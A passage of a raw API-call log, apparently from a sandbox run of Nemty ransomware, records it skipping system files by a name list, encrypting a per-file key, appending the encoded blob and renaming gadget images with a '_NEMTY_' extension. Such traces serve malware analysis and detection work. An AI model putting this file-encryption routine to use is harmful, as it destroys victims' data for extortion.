dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="40.png", lpUsedDefaultChar=0x0) returned 6 [0156.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="40.png", lpUsedDefaultChar=0x0) returned 6 [0156.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.684] Sleep (dwMilliseconds=0x5) [0156.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1109b730, dwHighDateTime=0x1d561e8)) [0156.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1109b730, dwHighDateTime=0x1d561e8)) [0156.685] GetLastError () returned 0x5 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.685] GetLastError () returned 0x5 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0156.685] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.685] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="SzLd5xrKHWdnlg79S68vyACJ3g6rga2q3llCgQOk6BMJrn6vHI4q1LH8rh1frDKk\r\n2X1cgiiN+IFjrzsbEp4cL+TyMZetEap1twc0YhGIjjwXCqZDZBuSEMr6Fb9AI469\r\nPa+rQVE5HG7rMIaepHqpZCmuHBuPJqtj/0RiL5EDUuHipXuNKidUiPM8lMX9FZJD\r\nmQZUjCsLRK6lbR9V5OMh+dM0DkL8PwEjKi/5Z9GnE1LJHlD0s3JjFOOP//BHfCIi\r\nyTE1gUEa3VL/Z2sqVatG7gbO+LP+3WlYvLfxIQ+YBMPQPl5k0VEgIHeXoi/w6u0l\r\ntl5FGudmfHwoMwm+owLPKQ==\r\n", pcchString=0x653e91c) returned 1 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.685] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0156.686] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.797] CloseHandle (hObject=0xffffffff) returned 0 [0156.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\40.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\40.png._nemty_kgobjgd_")) returned 0 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.797] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="41.png", cAlternateFileName="")) returned 1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2=".") returned 1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="..") returned 1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="...") returned 1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="windows") returned -1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="$RECYCLE.BIN") returned 1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="rsa") returned -1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="NTDETECT.COM") returned -1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="ntldr") returned -1 [0156.797] lstrcmpiW (lpString1="41.png", lpString2="MSDOS.SYS") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="IO.SYS") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="boot.ini") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="boot.ini") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="ntuser.dat") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="desktop.ini") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="CONFIG.SYS") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="RECYCLER") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="BOOTSECT.BAK") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="bootmgr") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="programdata") returned -1 [0156.798] lstrcmpiW (lpString1="41.png", lpString2="appdata") returned -1 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="41.png", lpUsedDefaultChar=0x0) returned 6 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="41.png", lpUsedDefaultChar=0x0) returned 6 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="41.png", lpUsedDefaultChar=0x0) returned 6 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="41.png", lpUsedDefaultChar=0x0) returned 6 [0156.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.798] Sleep (dwMilliseconds=0x5) [0156.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x111cc230, dwHighDateTime=0x1d561e8)) [0156.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x111cc230, dwHighDateTime=0x1d561e8)) [0156.809] GetLastError () returned 0x5 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.809] GetLastError () returned 0x5 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.809] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.809] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0156.809] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.809] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="1tnMM91Q/AuwFKsM1ng3zEZbfH912FL9wi+1Fk+Fb0OPg1i/dUDIoI3AWYosGfPC\r\np9Wbp44sD2mIj4bm6HHZZtHyxk9Lgo8mbjq22Yg7tnFKkJTaf/YjllAPzd/rWzyx\r\n+ufWR/hKTDvxiEHY+l9y0LUyTgxPtw8Kxbcg5nV5e90qXjR/+c6kWGc8+lVmwUIF\r\naSQc2MPGD4+i57RbrvJBfFMR5PJj75deEytj6xW7FCoYZHzyrUCjOdlSTZJntXQv\r\nOp2p8nbq6snFtgnfBRCPVLPQCqw0pFr5SNhn3cx0ysXYMqlyJGQ1IgsIuyFwm09H\r\nAO/cmwI1Jx+aCP4zZlShLg==\r\n", pcchString=0x653e91c) returned 1 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.810] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\41.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 